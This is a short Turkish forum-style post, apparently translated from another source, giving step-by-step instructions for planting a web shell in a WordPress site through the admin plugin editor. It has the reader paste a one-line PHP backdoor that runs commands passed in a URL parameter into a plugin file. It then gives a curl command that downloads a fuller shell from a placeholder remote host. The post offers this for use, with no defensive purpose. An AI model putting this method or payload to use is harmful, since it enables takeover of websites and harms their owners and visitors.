WORDPRESS KOMUT SHELL UPLOAD [METHOD]
Merhaba Arkadaşlar Bugün Sizlere Wordpress Sitelerde Komut Çalıştırmayı Anlatacağım Konuyu Yabancı Bir Kaynaktan Çevirerek Sizlere Sunuyoruz!
İlk Önce Wordpress Yönetici Paneline Girerek Plugin Editor Bölümüne Geliyoruz.
Editor'e Geldikten Sonra Herhangi Bir Plugin'i Seçiniz Seçtikten Sonra URL Şu Şekilde Olacaktır.
/wp-admin/plugin-editor.php?file=akismet/index.php
[Önemli]
Şimdi İse Editleyecegiz Yapmanız Gereken Tek Şey Size Vereceğim Aşağıdaki Komut'u Yapıştırmak Olacaktır.
<pre><?php system($_GET['x'])?></pre>
[ÖRNEK]
öreksitecom/wp-content/plugins/akismet/?x=
Bu Şekilde Konsol Çalıştırabilirsiniz Burdan Shellde Yükleyebilmeniz Mümkündür ve
Genelde nginx Serverlerde Çalışan Bir Yöntemdir.
Genelde nginx Serverlerde Çalışan Bir Yöntemdir.
[ÖRNEK]
öreksitecom/wp-content/plugins/akismet/?x=dir
[dir/ls] Komutlarını Kullanarak Deneyebilirsiniz Çalışıp Çalışmadıgını Size Dizin İçerisindeki Klasör ve Dosyaları Gösterir.
Gördügünüz Gibi Gayet Pratik Bir Yöntem
curl shellyüküsitecom/shell.txt -o zymper.php şeklinde komut çalıştırdığınızda zymper.php isminde shellyüküsitecom/shell.txt sitesindeki shellin yüklü olduğu bir dosya size verecektir
Post a Comment